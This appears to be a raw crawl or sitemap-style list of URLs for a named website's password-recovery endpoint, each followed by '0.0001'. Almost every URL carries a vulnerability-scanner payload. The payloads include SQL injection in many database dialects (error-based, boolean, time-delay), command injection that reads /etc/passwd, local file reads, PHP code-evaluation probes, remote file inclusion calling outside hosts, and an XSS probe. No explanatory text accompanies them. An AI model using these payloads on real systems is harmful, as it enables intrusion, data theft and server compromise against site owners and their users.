http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(68=43)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'sF'='sF 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(89=89)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'vF'='vF 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(93=43)%20THEN%201%20ELSE%200x28%20END))%20AND%20'Ku'='Ku 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(98=98)%20THEN%201%20ELSE%200x28%20END))%20AND%20'sy'='sy 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%22 0.0003 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%20('0c'%20LIKE%20'GB 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%20('5D'%20LIKE%20'5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%2013=11%20AND%20('v3'='v3 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%2021=25%20AND%20('EV'='EV 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%2037=37%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%2053=53%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20OR%2043=43%20AND%20('qZ'='qZ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=72)%20THEN%201%20ELSE%200x28%20END))%20AND%20('y8'='y8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=13)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20('za'='za 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=59)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20('Tl'='Tl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(66=66)%20THEN%201%20ELSE%200x28%20END))%20AND%20('pq'='pq 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1';%20IF(21=13)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1';%20IF(61=61)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%2014=14%20AND%20(14=14 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%2027=31%20AND%20(27=27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%2033=33%20AND%20(33=33 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%2061=44%20AND%20(61=61 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20OR%2065=65%20OR%20(65=65)%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%201%20ELSE%200x28%20END))%20AND%20(75=75 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(22=22)%20THEN%201%20ELSE%200x28%20END))%20AND%20(81=81 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(36=57)%20THEN%201%20ELSE%200x28%20END))%20AND%20(36=36 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=73)%20THEN%201%20ELSE%200x28%20END))%20AND%20(61=61 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1);%20IF(19=18)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1);%20IF(97=97)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(13=13)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(17=17)%20THEN%201%20ELSE%2017*(SELECT%2017%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(18=16)%20THEN%201%20ELSE%2018*(SELECT%2018%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%201%20ELSE%2018*(SELECT%2018%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(35=21)%20THEN%201%20ELSE%2035*(SELECT%2035%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(35=35)%20THEN%201%20ELSE%2035*(SELECT%2035%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(39=13)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(48=84)%20THEN%201%20ELSE%2048*(SELECT%2048%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(53=53)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(55=49)%20THEN%201%20ELSE%2055*(SELECT%2055%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(59=59)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%201%20ELSE%2071*(SELECT%2071%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(81=19)%20THEN%201%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20(CASE%20WHEN%20(84=17)%20THEN%201%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,IIF(65=65,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,IIF(81=81,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,IIF(82=97,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1,IIF(96=81,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=11 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=16633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1AND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1JyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1a' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1alert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1e360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=ELT(49=49,1) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=ELT(58=56,1) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=IIF(11=11,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=IIF(16=16,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=IIF(61=95,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=IIF(75=11,1,1/0) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=MAKE_SET(32=74,1) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=MAKE_SET(52=52,1) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 